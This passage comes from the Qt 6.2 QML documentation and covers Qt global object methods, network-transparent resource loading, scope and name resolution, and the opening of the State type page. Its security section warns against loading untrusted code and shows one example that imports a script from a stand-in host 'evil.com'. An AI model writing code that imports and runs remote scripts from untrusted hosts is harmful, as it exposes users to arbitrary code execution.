 Binary to ASCII - this function returns a base64 encoding of *data*.

 ###  [color](qml-qtqml-qt#color-method) color([string](qml-string) *name*)

 Returns the color corresponding to the given *name* (i.e. red or #ff0000). If there is no such color, `null` is returned.

 ###  [color](qml-qtqml-qt#color-method) colorEqual([color](qml-qtqml-qt#color-method) *lhs*, [string](qml-string) *rhs*)

 Returns `true` if both *lhs* and *rhs* yield equal color values. Both arguments may be either color values or string values. If a string value is supplied it must be convertible to a color, as described for the [color](qml-color#colorbasictypedocs) basic type.

 ###  [Component](qml-qtqml-component) createComponent([url](qml-qtqml-qt#url-method) *url*, [enumeration](qml-enumeration) *mode*, [QtObject](qml-qtqml-qtobject) *parent*)

 Returns a [Component](qml-qtqml-component) object created using the QML file at the specified *url*, or `null` if an empty string was given.

 The returned component's [Component::status](qml-qtqml-component#status-prop) property indicates whether the component was successfully created. If the status is `Component.Error`, see [Component::errorString](qml-qtqml-component#errorString-method)() for an error description.

 If the optional *mode* parameter is set to `Component.Asynchronous`, the component will be loaded in a background thread. The [Component::status](qml-qtqml-component#status-prop) property will be `Component.Loading` while it is loading. The status will change to `Component.Ready` if the component loads successfully, or `Component.Error` if loading fails. This parameter defaults to `Component.PreferSynchronous` if omitted.

 If *mode* is set to `Component.PreferSynchronous`, Qt will attempt to load the component synchronously, but may end up loading it asynchronously if necessary. Scenarios that may cause asynchronous loading include, but are not limited to, the following:

 * The URL refers to a network resource
* The component is being created as a result of another component that is being loaded asynchronously

 If the optional *parent* parameter is given, it should refer to the object that will become the parent for the created [Component](qml-qtqml-component) object. If no mode was passed, this can be the second argument.

 Call [Component.createObject](qml-qtqml-component#createObject-method)() on the returned component to create an object instance of the component.

 For example:

 
```
import QtQuick 2.0

Item {
    id: container
    width: 300; height: 300

    function loadButton() {
        var component = Qt.createComponent("Button.qml");
        if (component.status == Component.Ready) {
            var button = component.createObject(container);
            button.color = "red";
        }
    }

    Component.onCompleted: loadButton()
}
```
 See [Dynamic QML Object Creation from JavaScript](qtqml-javascript-dynamicobjectcreation) for more information on using this function.

 To create a QML object from an arbitrary string of QML (instead of a file), use [Qt.createQmlObject](qml-qtqml-qt#createQmlObject-method)().

 ###  object createQmlObject([string](qml-string) *qml*, object *parent*, [string](qml-string) *filepath*)

 Returns a new object created from the given *qml* string which will have the specified *parent*, or `null` if there was an error in creating the object.

 If *filepath* is specified, it will be used for error reporting for the created object.

 Example (where `parentItem` is the id of an existing QML item):

 
```
const newObject = Qt.createQmlObject(`
    import QtQuick 2.0

    Rectangle {
        color: "red"
        width: 20
        height: 20
    }
    `,
    parentItem,
    "myDynamicSnippet"
);
```
 In the case of an error, a [QQmlError](qqmlerror) object is thrown. This object has an additional property, `qmlErrors`, which is an array of the errors encountered. Each object in this array has the members `lineNumber`, `columnNumber`, `fileName` and `message`. For example, if the above snippet had misspelled color as 'colro' then the array would contain an object like the following: { "lineNumber" : 1, "columnNumber" : 32, "fileName" : "dynamicSnippet1", "message" : "Cannot assign to non-existent property "colro""}.

 Note that this function returns immediately, and therefore may not work if the *qml* string loads new components (that is, external QML files that have not yet been loaded). If this is the case, consider using [Qt.createComponent](qml-qtqml-qt#createComponent-method)() instead.

 See [Dynamic QML Object Creation from JavaScript](qtqml-javascript-dynamicobjectcreation) for more information on using this function.

 ###  [color](qml-qtqml-qt#color-method) darker([color](qml-qtqml-qt#color-method) *baseColor*, [real](qml-real) *factor*)

 Returns a color darker than *baseColor* by the *factor* provided.

 If the factor is greater than 1.0, this function returns a darker color. Setting factor to 3.0 returns a color that has one-third the brightness. If the factor is less than 1.0, the return color is lighter, but we recommend using the Qt.[lighter](qml-qtqml-qt#lighter-method)() function for this purpose. If the factor is 0 or negative, the return value is unspecified.

 The function converts the current RGB color to HSV, divides the value (V) component by factor and converts the color back to RGB.

 If *factor* is not supplied, returns a color that is 50% darker than *baseColor* (factor 2.0).

 ###  exit([int](qml-int) *retCode*)

 This function causes the [QQmlEngine::exit](qqmlengine#exit)(int) signal to be emitted. Within the Prototyping with qmlscene, this causes the launcher application to exit the specified return code (*retCode*). To exit from the event loop with a specified return code when this method is called, a C++ application can connect the [QQmlEngine::exit](qqmlengine#exit)(int) signal to the [QCoreApplication::exit](qcoreapplication#exit)(int) slot.

 **See also** [quit](qml-qtqml-qt#quit-method)().

 ###  [font](qml-qtqml-qt#font-method) font(object *fontSpecifier*)

 Returns a font with the properties specified in the *fontSpecifier* object or the nearest matching font. The *fontSpecifier* object should contain key-value pairs where valid keys are the [font](qml-font#fontbasictypedocs) type's subproperty names, and the values are valid values for each subproperty. Invalid keys will be ignored.

 ###  [list](qml-list)<[string](qml-string)> fontFamilies()

 Returns a list of the font families available to the application.

 ###  [string](qml-string) formatDate(datetime *date*, variant *format*, variant *localeFormatOption*)

 Returns a string representation of *date*, optionally formatted using *format*.

 The *date* parameter may be a JavaScript `Date` object, a [date](qml-date) property, a [QDate](qdate), or [QDateTime](qdatetime) value. The *format* and *localeFormatOption* parameter may be any of the possible format values as described for [Qt.formatDateTime](qml-qtqml-qt#formatDateTime-method)().

 If *format* is not specified, *date* is formatted using [Locale.ShortFormat](qlocale#FormatType-enum) using the default locale.

 **See also** [Locale](qml-qtqml-locale).

 ###  [string](qml-string) formatDateTime(datetime *dateTime*, variant *format*, variant *localeFormatOption*)

 Returns a string representation of *dateTime*, optionally formatted using *format* and *localeFormatOption*.

 The *dateTime* parameter may be a JavaScript `Date` object, a [date](qml-date) property, a [QDate](qdate), [QTime](qtime), or [QDateTime](qdatetime) value.

 If *format* is not provided, *dateTime* is formatted using [Locale.ShortFormat](qlocale#FormatType-enum) using the default locale. Otherwise, *format* should be either:

 * One of the [Qt::DateFormat](qt#DateFormat-enum) enumeration values, such as `Qt.RFC2822Date` or `Qt.ISODate`.
* A string that specifies the format of the returned string, as detailed below.
* A `locale` object.

 If *format* specifies a locale object, dateTime is formatted with [QLocale::toString](qlocale#toString). In this case, *localeFormatOption* can hold a value of type [QLocale::FormatType](qlocale#FormatType-enum) to further tune the formatting. If none is provided, [Locale.ShortFormat](qlocale#FormatType-enum) is used.

 If *format* specifies a format string, it should use the following expressions to specify the date:

 

| Expression | Output |
| --- | --- |
| d | the day as number without a leading zero (1 to 31) |
| dd | the day as number with a leading zero (01 to 31) |
| ddd | the abbreviated localized day name (e.g. 'Mon' to 'Sun'). Uses QDate::shortDayName(). |
| dddd | the long localized day name (e.g. 'Monday' to '[Qt::Sunday](qt#DayOfWeek-enum)'). Uses QDate::longDayName(). |
| M | the month as number without a leading zero (1-12) |
| MM | the month as number with a leading zero (01-12) |
| MMM | the abbreviated localized month name (e.g. 'Jan' to 'Dec'). Uses QDate::shortMonthName(). |
| MMMM | the long localized month name (e.g. 'January' to 'December'). Uses QDate::longMonthName(). |
| yy | the year as two digit number (00-99) |
| yyyy | the year as four digit number |

 In addition the following expressions can be used to specify the time:

 

| Expression | Output |
| --- | --- |
| h | the hour without a leading zero (0 to 23 or 1 to 12 if AM/PM display) |
| hh | the hour with a leading zero (00 to 23 or 01 to 12 if AM/PM display) |
| m | the minute without a leading zero (0 to 59) |
| mm | the minute with a leading zero (00 to 59) |
| s | the second without a leading zero (0 to 59) |
| ss | the second with a leading zero (00 to 59) |
| z | the milliseconds without leading zeroes (0 to 999) |
| zzz | the milliseconds with leading zeroes (000 to 999) |
| AP | use AM/PM display. *AP* will be replaced by either "AM" or "PM". |
| ap | use am/pm display. *ap* will be replaced by either "am" or "pm". |
| t | include a time-zone indicator. |

 All other input characters will be ignored. Any sequence of characters that are enclosed in single quotes will be treated as text and not be used as an expression. Two consecutive single quotes ("''") are replaced by a single quote in the output.

 For example, if the following date/time value was specified:

 
```
// 21 May 2001 14:13:09
var dateTime = new Date(2001, 5, 21, 14, 13, 09)
```
 This *dateTime* value could be passed to `Qt.formatDateTime()`, [Qt.formatDate](qml-qtqml-qt#formatDate-method)() or [Qt.formatTime](qml-qtqml-qt#formatTime-method)() with the *format* values below to produce the following results:

 

| Format | Result |
| --- | --- |
| "dd.MM.yyyy" | 21.05.2001 |
| "ddd MMMM d yy" | Tue May 21 01 |
| "hh:mm:ss.zzz" | 14:13:09.042 |
| "h:m:s ap" | 2:13:9 pm |

 **See also** [Locale](qml-qtqml-locale).

 ###  [string](qml-string) formatTime(datetime *time*, variant *format*, variant *localeFormatOption*)

 Returns a string representation of *time*, optionally formatted using *format*, and, if provided, *localeFormatOption*.

 The *time* parameter may be a JavaScript `Date` object, a [QTime](qtime), or [QDateTime](qdatetime) value. The *format* and *localeFormatOption* parameter may be any of the possible format values as described for [Qt.formatDateTime](qml-qtqml-qt#formatDateTime-method)().

 If *format* is not specified, *time* is formatted using [Locale.ShortFormat](qlocale#FormatType-enum) using the default locale.

 **See also** [Locale](qml-qtqml-locale).

 ###  [color](qml-qtqml-qt#color-method) hsla([real](qml-real) *hue*, [real](qml-real) *saturation*, [real](qml-real) *lightness*, [real](qml-real) *alpha*)

 Returns a color with the specified *hue*, *saturation*, *lightness*, and *alpha* components. All components should be in the range 0-1 (inclusive).

 ###  `[since 5.5]` [color](qml-qtqml-qt#color-method) hsva([real](qml-real) *hue*, [real](qml-real) *saturation*, [real](qml-real) *value*, [real](qml-real) *alpha*)

 Returns a color with the specified *hue*, *saturation*, *value* and *alpha* components. All components should be in the range 0-1 (inclusive).

 This method was introduced in Qt 5.5.

 ###  [bool](qml-bool) isQtObject(*object*)

 Returns `true` if *object* is a valid reference to a Qt or QML object, `false` otherwise.

 ###  [color](qml-qtqml-qt#color-method) lighter([color](qml-qtqml-qt#color-method) *baseColor*, [real](qml-real) *factor*)

 Returns a color lighter than *baseColor* by the *factor* provided.

 If the factor is greater than 1.0, this functions returns a lighter color. Setting factor to 1.5 returns a color that is 50% brighter. If the factor is less than 1.0, the return color is darker, but we recommend using the Qt.[darker](qml-qtqml-qt#darker-method)() function for this purpose. If the factor is 0 or negative, the return value is unspecified.

 The function converts the current RGB color to HSV, multiplies the value (V) component by factor and converts the color back to RGB.

 If *factor* is not supplied, returns a color that is 50% lighter than *baseColor* (factor 1.5).

 ###  locale(*name*)

 Returns a JS object representing the locale with the specified *name*, which has the format "language[\_territory][.codeset][@modifier]" or "C", where:

 * `language` is a lowercase, two-letter, ISO 639 language code,
* `territory` is an uppercase, two-letter, ISO 3166 country code, and
* `codeset` and `modifier` are ignored.

 If the string violates the locale format, or language is not a valid ISO 369 code, the "C" locale is used instead. If country is not present, or is not a valid ISO 3166 code, the most appropriate country is chosen for the specified language.

 **See also** [Locale](qml-qtqml-locale).

 ###  [string](qml-string) md5(*data*)

 Returns a hex string of the md5 hash of *data*.

 ###  [matrix4x4](qml-qtqml-qt#matrix4x4-method) matrix4x4([real](qml-real) *m11*, [real](qml-real) *m12*, [real](qml-real) *m13*, [real](qml-real) *m14*, [real](qml-real) *m21*, [real](qml-real) *m22*, [real](qml-real) *m23*, [real](qml-real) *m24*, [real](qml-real) *m31*, [real](qml-real) *m32*, [real](qml-real) *m33*, [real](qml-real) *m34*, [real](qml-real) *m41*, [real](qml-real) *m42*, [real](qml-real) *m43*, [real](qml-real) *m44*)

 Returns a matrix4x4 with the specified values.

 The arguments correspond to their positions in the matrix:

 

|  |  |  |  |
| --- | --- | --- | --- |
| *m11* | *m12* | *m13* | *m14* |
| *m21* | *m22* | *m23* | *m24* |
| *m31* | *m32* | *m33* | *m34* |
| *m41* | *m42* | *m43* | *m44* |

 Alternatively, the function may be called with a single argument where that argument is a JavaScript array which contains the sixteen matrix values.

 Finally, the function may be called with no arguments and the resulting matrix will be the identity matrix.

 ###  [bool](qml-bool) openUrlExternally([url](qml-qtqml-qt#url-method) *target*)

 Attempts to open the specified *target* url in an external application, based on the user's desktop preferences. Returns `true` if it succeeds, `false` otherwise.

  **Warning:** A return value of `true` indicates that the application has successfully requested the operating system to open the URL in an external application. The external application may still fail to launch or fail to open the requested URL. This result will not be reported back to the application.

  ###  [point](qml-qtqml-qt#point-method) point([real](qml-real) *x*, [real](qml-real) *y*)

 Returns a point with the specified *x* and *y* coordinates.

 ###  [string](qml-string) qsTr([string](qml-string) *sourceText*, [string](qml-string) *disambiguation*, [int](qml-int) *n*)

 Returns a translated version of *sourceText*, optionally based on a *disambiguation* string and value of *n* for strings containing plurals; otherwise returns *sourceText* itself if no appropriate translated string is available.

 If the same *sourceText* is used in different roles within the same translation context, an additional identifying string may be passed in for *disambiguation*.

 Example:

 
```
Text { text: qsTr("hello") }
```
 **See also** [Internationalization and Localization with Qt Quick](qtquick-internationalization).

 ###  [string](qml-string) qsTrId([string](qml-string) *id*, [int](qml-int) *n*)

 Returns a translated string identified by *id*. If no matching string is found, the id itself is returned. This should not happen under normal conditions.

 If *n* >= 0, all occurrences of `%n` in the resulting string are replaced with a decimal representation of *n*. In addition, depending on *n*'s value, the translation text may vary.

 Example:

 
```
Text { text: qsTrId("hello_id") }
```
 It is possible to supply a source string template like:

 `//% <string>`

 or

 `\begincomment% <string> \endcomment`

 Example:

 
```
Text {
    //% "hello"
    text: qsTrId("hello_id")
}
```
 Creating binary translation (QM) files suitable for use with this function requires passing the `-idbased` option to the `lrelease` tool.

 **See also** [QT\_TRID\_NOOP](qtglobal#QT_TRID_NOOP)() and [Internationalization and Localization with Qt Quick](qtquick-internationalization).

 ###  [string](qml-string) qsTrIdNoOp([string](qml-string) *id*)

 Marks *id* for dynamic translation.

 Returns the *id*.

 [QT\_TRID\_NOOP](qtglobal#QT_TRID_NOOP) is used in conjunction with the dynamic translation function [qsTrId](qml-qtqml-qt#qsTrId-method)(). It identifies a string as requiring translation (so it can be identified by `lupdate`), but leaves the actual translation to [qsTrId](qml-qtqml-qt#qsTrId-method)().

 Example:

 
```
Item {
    property string greetingId: QT_TRID_NOOP("hello_id")

    Text { text: qsTrId(greetingId) }
}
```
 **See also** [qsTrId](qml-qtqml-qt#qsTrId-method)() and [Internationalization and Localization with Qt Quick](qtquick-internationalization).

 ###  [string](qml-string) qsTrNoOp([string](qml-string) *sourceText*, [string](qml-string) *disambiguation*)

 Marks *sourceText* for dynamic translation; i.e, the stored *sourceText* will not be altered.

 If the same *sourceText* is used in different roles within the same translation context, an additional identifying string may be passed in for *disambiguation*.

 Returns the *sourceText*.

 [QT\_TR\_NOOP](qtglobal#QT_TR_NOOP) is used in conjunction with the dynamic translation functions [qsTr](qml-qtqml-qt#qsTr-method)() and [qsTranslate](qml-qtqml-qt#qsTranslate-method)(). It identifies a string as requiring translation (so it can be identified by `lupdate`), but leaves the actual translation to the dynamic functions.

 Example:

 
```
Item {
    property string greeting: QT_TR_NOOP("hello")

    Text { text: qsTr(greeting) }
}
```
 **See also** [Internationalization and Localization with Qt Quick](qtquick-internationalization).

 ###  [string](qml-string) qsTranslate([string](qml-string) *context*, [string](qml-string) *sourceText*, [string](qml-string) *disambiguation*, [int](qml-int) *n*)

 Returns a translated version of *sourceText* within the given *context*, optionally based on a *disambiguation* string and value of *n* for strings containing plurals; otherwise returns *sourceText* itself if no appropriate translated string is available.

 If the same *sourceText* is used in different roles within the same translation *context*, an additional identifying string may be passed in for *disambiguation*.

 Example:

 
```
Text { text: qsTranslate("CustomContext", "hello") }
```
 **See also** [Internationalization and Localization with Qt Quick](qtquick-internationalization).

 ###  [string](qml-string) qsTranslateNoOp([string](qml-string) *context*, [string](qml-string) *sourceText*, [string](qml-string) *disambiguation*)

 Marks *sourceText* for dynamic translation in the given *context*; i.e, the stored *sourceText* will not be altered.

 If the same *sourceText* is used in different roles within the same translation context, an additional identifying string may be passed in for *disambiguation*.

 Returns the *sourceText*.

 [QT\_TRANSLATE\_NOOP](qtglobal#QT_TRANSLATE_NOOP) is used in conjunction with the dynamic translation functions [qsTr](qml-qtqml-qt#qsTr-method)() and [qsTranslate](qml-qtqml-qt#qsTranslate-method)(). It identifies a string as requiring translation (so it can be identified by `lupdate`), but leaves the actual translation to the dynamic functions.

 Example:

 
```
Item {
    property string greeting: QT_TRANSLATE_NOOP("CustomContext", "hello")

    Text { text: qsTranslate("CustomContext", greeting) }
}
```
 **See also** [Internationalization and Localization with Qt Quick](qtquick-internationalization).

 ###  [quaternion](qml-qtqml-qt#quaternion-method) quaternion([real](qml-real) *scalar*, [real](qml-real) *x*, [real](qml-real) *y*, [real](qml-real) *z*)

 Returns a quaternion with the specified *scalar*, *x*, *y*, and *z* values.

 ###  quit()

 This function causes the [QQmlEngine::quit](qqmlengine#quit)() signal to be emitted. Within the Prototyping with qmlscene, this causes the launcher application to exit; to quit a C++ application when this method is called, connect the [QQmlEngine::quit](qqmlengine#quit)() signal to the [QCoreApplication::quit](qcoreapplication#quit)() slot.

 **See also** [exit](qml-qtqml-qt#exit-method)().

 ###  [rect](qml-qtqml-qt#rect-method) rect([real](qml-real) *x*, [real](qml-real) *y*, [real](qml-real) *width*, [real](qml-real) *height*)

 Returns a rect with the top-left corner at *x*, *y* and the specified *width* and *height*.

 ###  [url](qml-qtqml-qt#url-method) resolvedUrl([url](qml-qtqml-qt#url-method) *url*, object *context*)

 Returns *url* resolved relative to the URL of the QML context of *context*. If *context* is not associated with a QML context, returns *url* resolved relative to the QML engine's base URL. If the QML engine has no base URL, just returns *url*.

 **See also** [url](qml-qtqml-qt#url-method)().

 ###  [url](qml-qtqml-qt#url-method) resolvedUrl([url](qml-qtqml-qt#url-method) *url*)

 Returns *url* resolved relative to the URL of the caller.

 If there is no caller or the caller is not associated with a QML context, returns *url* resolved relative to the QML engine's base URL. If the QML engine has no base URL, just returns *url*.

 **See also** [url](qml-qtqml-qt#url-method)().

 ###  [color](qml-qtqml-qt#color-method) rgba([real](qml-real) *red*, [real](qml-real) *green*, [real](qml-real) *blue*, [real](qml-real) *alpha*)

 Returns a color with the specified *red*, *green*, *blue*, and *alpha* components. All components should be in the range 0-1 (inclusive).

 ###  [size](qml-qtqml-qt#size-method) size([real](qml-real) *width*, [real](qml-real) *height*)

 Returns a size with the specified *width* and *height*.

 ###  [color](qml-qtqml-qt#color-method) tint([color](qml-qtqml-qt#color-method) *baseColor*, [color](qml-qtqml-qt#color-method) *tintColor*)

 This function allows tinting one color (*baseColor*) with another (*tintColor*).

 The tint color should usually be mostly transparent, or you will not be able to see the underlying color. The below example provides a slight red tint by having the tint color be pure red which is only 1/16th opaque.

 
```
Item {
    Rectangle {
        x: 0; width: 80; height: 80
        color: "lightsteelblue"
    }
    Rectangle {
        x: 100; width: 80; height: 80
        color: Qt.tint("lightsteelblue", "#10FF0000")
    }
}
```
 ![]


Tint is most useful when a subtle change is intended to be conveyed due to some event; you can then use tinting to more effectively tune the visible color.

 ###  [url](qml-qtqml-qt#url-method) url([url](qml-qtqml-qt#url-method) *url*)

 Returns *url* verbatim. This can be used to force a type coercion to `url`. In contrast to Qt.[resolvedUrl](qml-qtqml-qt#resolvedUrl-method)() this retains any relative URLs. As strings are implicitly converted to urls, the function can be called with a string as argument, and will then return a url.

 **See also** [resolvedUrl](qml-qtqml-qt#resolvedUrl-method)().

 ###  [vector2d](qml-qtqml-qt#vector2d-method) vector2d([real](qml-real) *x*, [real](qml-real) *y*)

 Returns a vector2d with the specified *x* and *y* values.

 ###  [vector3d](qml-qtqml-qt#vector3d-method) vector3d([real](qml-real) *x*, [real](qml-real) *y*, [real](qml-real) *z*)

 Returns a vector3d with the specified *x*, *y*, and *z* values.

 ###  [vector4d](qml-qtqml-qt#vector4d-method) vector4d([real](qml-real) *x*, [real](qml-real) *y*, [real](qml-real) *z*, [real](qml-real) *w*)

 Returns a vector4d with the specified *x*, *y*, *z*, and *w* values.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtqml-qt.html>

Resource Loading and Network Transparency
=========================================

 QML supports network transparency by using URLs (rather than file names) for all references from a QML document to other content. This means that anywhere a URL source is expected, QML can handle remote resources as well as local ones, for example in the following image source:

 
```
Image {
    source: "http://www.example.com/images/logo.png"
}
```
 Since a *relative* URL is the same as a relative file, development of QML on regular file systems remains simple:

 
```
Image {
    source: "images/logo.png"
}
```
 Network transparency is supported throughout QML, for example, both the [FontLoader](qml-qtquick-fontloader) and Image elements support loading resources from a remote server.

 Even QML types themselves can be on the network: if the [qml tool](qtquick-qml-runtime) is used to load `http://example.com/mystuff/Hello.qml` and that content refers to a type "World", the engine will load `http://example.com/mystuff/qmldir` and resolve the type just as it would for a local file. For example if the qmldir file contains the line "World World.qml", it will load `http://example.com/mystuff/World.qml` Any other resources that `Hello.qml` referred to, usually by a relative URL, would similarly be loaded from the network.

 Relative vs. Absolute URLs
--------------------------

 Whenever an object has a property of type URL ([QUrl](qurl)), assigning a string to that property will actually assign an absolute URL - by resolving the string against the URL of the document where the string is used.

 For example, consider this content in `http://example.com/mystuff/test.qml`:

 
```
Image {
    source: "images/logo.png"
}
```
 The [Image](qml-qtquick-image) source property will be assigned `http://example.com/mystuff/images/logo.png`, but while the QML is being developed, in say `C:\User\Fred\Documents\MyStuff\test.qml`, it will be assigned `C:\User\Fred\Documents\MyStuff\images\logo.png`.

 If the string assigned to a URL is already an absolute URL, then "resolving" does not change it and the URL is assigned directly.

 QRC Resources
-------------

 One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into the executable using [The Qt Resource System](resources). Using this, an executable can reference QML content that is compiled into the executable:

 
```
QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));
```
 The content itself can then use relative URLs, and so be transparently unaware that the content is compiled into the executable.

 Limitations
-----------

 The `import` statement is only network transparent if it has an "as" clause.

 More specifically:

 * `import "dir"` only works on local file systems
* `import libraryUri` only works on local file systems
* `import "dir" as D` works network transparently
* `import libraryUrl as U` works network transparently

 Implications for Application Security
-------------------------------------

 The QML security model is that QML content is a chain of trusted content: the user installs QML content that they trust in the same way as they install native Qt applications, or programs written with runtimes such as Python and Perl. That trust is establish by any of a number of mechanisms, including the availability of package signing on some platforms.

 In order to preserve the trust of users, QML application developers should not load and execute arbitrary JavaScript or QML resources. For example, consider the QML code below:

 
```
import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}
```
 This is equivalent to downloading and executing "http://evil.com/evil.exe". **The QML engine will not prevent particular resources from being loaded**. Unlike JavaScript code that is run within a web browser, a QML application can load remote or local filesystem resources in the same way as any other native applications, so application developers must be careful in loading and executing any content.

 As with any application accessing other content beyond its control, a QML application should perform appropriate checks on any untrusted data it loads. **Do not, for example, use `import`, [Loader](qml-qtquick-loader) or [XMLHttpRequest](qtqml-javascript-qmlglobalobject#xmlhttprequest) to load any untrusted code or content.**



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-documents-networktransparency.html>

Scope and Naming Resolution
===========================

 QML property bindings, inline functions, and imported JavaScript files all run in a JavaScript scope. Scope controls which variables an expression can access, and which variable takes precedence when two or more names conflict.

 As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit more naturally with the QML language extensions.

 JavaScript Scope
----------------

 QML's scope extensions do not interfere with JavaScript's natural scoping. JavaScript programmers can reuse their existing knowledge when programming functions, property bindings or imported JavaScript files in QML.

 In the following example, the `addConstant()` method will add 13 to the parameter passed just as the programmer would expect irrespective of the value of the QML object's `a` and `b` properties.

 
```
QtObject {
    property int a: 3
    property int b: 9

    function addConstant(b) {
        var a = 13;
        return b + a;
    }
}
```
 That QML respects JavaScript's normal scoping rules even applies in bindings. This totally evil, abomination of a binding will assign 12 to the QML object's `a` property.

 
```
QtObject {
    property int a

    a: { var a = 12; a; }
}
```
 Every JavaScript expression, function or file in QML has its own unique variable object. Local variables declared in one will never conflict with local variables declared in another.

 Type Names and Imported JavaScript Files
----------------------------------------

 [QML Documents](https://doc.qt.io/qt-6.2/qtqml-documents-topic.html) include import statements that define the type names and JavaScript files visible to the document. In addition to their use in the QML declaration itself, type names are used by JavaScript code when accessing [attached properties](qtqml-syntax-objectattributes#attached-properties-and-attached-signal-handlers) and enumeration values.

 The effect of an import applies to every property binding, and JavaScript function in the QML document, even those in nested inline components. The following example shows a simple QML file that accesses some enumeration values and calls an imported JavaScript function.

 
```
import QtQuick 2.0
import "code.js" as Code

ListView {
    snapMode: ListView.SnapToItem

    delegate: Component {
        Text {
            elide: Text.ElideMiddle
            text: "A really, really long string that will require eliding."
            color: Code.defaultColor()
        }
    }
}
```
 Binding Scope Object
--------------------

 An object which has a [property binding](qtqml-syntax-propertybinding) is known as the binding's *scope object*. In the following example, the [Item](qml-qtquick-item) object is the binding's scope object.

 
```
Item {
    anchors.left: parent.left
}
```
 Bindings have access to the scope object's properties without qualification. In the previous example, the binding accesses the [Item](qml-qtquick-item)'s `parent` property directly, without needing any form of object prefix. QML introduces a more structured, object-oriented approach to JavaScript, and consequently does not require the use of the JavaScript `this` property.

 Care must be used when accessing [attached properties](qtqml-syntax-objectattributes#attached-properties-and-attached-signal-handlers) from bindings due to their interaction with the scope object. Conceptually attached properties exist on *all* objects, even if they only have an effect on a subset of those. Consequently unqualified attached property reads will always resolve to an attached property on the scope object, which is not always what the programmer intended.

 For example, the [PathView](qml-qtquick-pathview) type attaches interpolated value properties to its delegates depending on their position in the path. As [PathView](qml-qtquick-pathview) only meaningfully attaches these properties to the root object in the delegate, any sub-object that accesses them must explicitly qualify the root object, as shown below.

 
```
PathView {
    delegate: Component {
        Rectangle {
            id: root
            Image {
                scale: root.PathView.scale
            }
        }
    }
}
```
 If the [Image](qml-qtquick-image) object omitted the `root` prefix, it would inadvertently access the unset `PathView.scale` attached property on itself.

 Component Scope
---------------

 Each QML component in a QML document defines a logical scope. Each document has at least one root component, but can also have other inline sub-components. The component scope is the union of the object ids within the component and the component's root object's properties.

 
```
Item {
    property string title

    Text {
        id: titletype
        text: "<b>" + title + "</b>"
        font.pixelSize: 22
        anchors.top: parent.top
    }

    Text {
        text: titletype.text
        font.pixelSize: 18
        anchors.bottom: parent.bottom
    }
}
```
 The example above shows a simple QML component that displays a rich text title string at the top, and a smaller copy of the same text at the bottom. The first `Text` type directly accesses the component's `title` property when forming the text to display. That the root type's properties are directly accessible makes it trivial to distribute data throughout the component.

 The second `Text` type uses an id to access the first's text directly. IDs are specified explicitly by the QML programmer so they always take precedence over other property names (except for those in the [JavaScript Scope](qtqml-documents-scope#javascript-scope)). For example, in the unlikely event that the binding's [scope object](qtqml-documents-scope#binding-scope-object) had a `titletype` property in the previous example, the `titletype` id would still take precedence.

 Component Instance Hierarchy
----------------------------

 In QML, component instances connect their component scopes together to form a scope hierarchy. Component instances can directly access the component scopes of their ancestors.

 The easiest way to demonstrate this is with inline sub-components whose component scopes are implicitly scoped as children of the outer component.

 
```
Item {
    property color defaultColor: "blue"

    ListView {
        delegate: Component {
            Rectangle {
                color: defaultColor
            }
        }
    }
}
```
 The component instance hierarchy allows instances of the delegate component to access the `defaultColor` property of the `Item` type. Of course, had the delegate component had a property called `defaultColor` that would have taken precedence.

 The component instance scope hierarchy extends to out-of-line components, too. In the following example, the `TitlePage.qml` component creates two `TitleText` instances. Even though the `TitleText` type is in a separate file, it still has access to the `title` property when it is used from within the `TitlePage`. QML is a dynamically scoped language - depending on where it is used, the `title` property may resolve differently.

 
```
// TitlePage.qml
import QtQuick 2.0
Item {
    property string title

    TitleText {
        size: 22
        anchors.top: parent.top
    }

    TitleText {
        size: 18
        anchors.bottom: parent.bottom
    }
}

// TitleText.qml
import QtQuick 2.0
Text {
    property int size
    text: "<b>" + title + "</b>"
    font.pixelSize: size
}
```
 Dynamic scoping is very powerful, but it must be used cautiously to prevent the behavior of QML code from becoming difficult to predict. In general it should only be used in cases where the two components are already tightly coupled in another way. When building reusable components, it is preferable to use property interfaces, like this:

 
```
// TitlePage.qml
import QtQuick 2.0
Item {
    id: root
    property string title

    TitleText {
        title: root.title
        size: 22
        anchors.top: parent.top
    }

    TitleText {
        title: root.title
        size: 18
        anchors.bottom: parent.bottom
    }
}

// TitleText.qml
import QtQuick 2.0
Text {
    property string title
    property int size

    text: "<b>" + title + "</b>"
    font.pixelSize: size
}
```
 Overridden Properties
---------------------

 QML permits property names defined in an object declaration to be overridden by properties declared within another object declaration that extends the first. For example:

 
```
// Displayable.qml
import QtQuick 2.0
Item {
    property string title
    property string detail

    Text {
        text: "<b>" + title + "</b><br>" + detail
    }

    function getTitle() { return title }
    function setTitle(newTitle) { title = newTitle }
}

// Person.qml
import QtQuick 2.0
Displayable {
    property string title
    property string firstName
    property string lastName

    function fullName()  { return title + " " + firstName + " " + lastName }
}
```
 Here, the name `title` is given to both the heading of the output text for Displayable, and also to the honorific title of the Person object.

 An overridden property is resolved according to the scope in which it is referenced. Inside the scope of the Person component, or from an external scope that refers to an instance of the Person component, `title` resolves to the property declared inside Person.qml. The `fullName` function will refer to the `title` property declared inside Person.

 Inside the Displayable component, however, `title` refers to the property declared in Displayable.qml. The getTitle() and setTitle() functions, and the binding for the `text` property of the Text object will all refer to the `title` property declared in the Displayable component.

 Despite sharing the same name, the two properties are entirely separate. An onChanged signal handler for one of the properties will not be triggered by a change to the other property with the same name. An alias to either property will refer to one or the other, but not both.

 JavaScript Global Object
------------------------

 QML disallows type, id and property names that conflict with the properties on the global object to prevent any confusion. Programmers can be confident that `Math.min(10, 9)` will always work as expected!

 See [JavaScript Host Environment](qtqml-javascript-hostenvironment) for more information.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qtqml-documents-scope.html>

State QML Type
==============

 Defines configurations of objects and properties. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-state-members.html)

 Properties
----------

 * **[changes](qml-qtquick-state#changes-prop)** : list<Change>
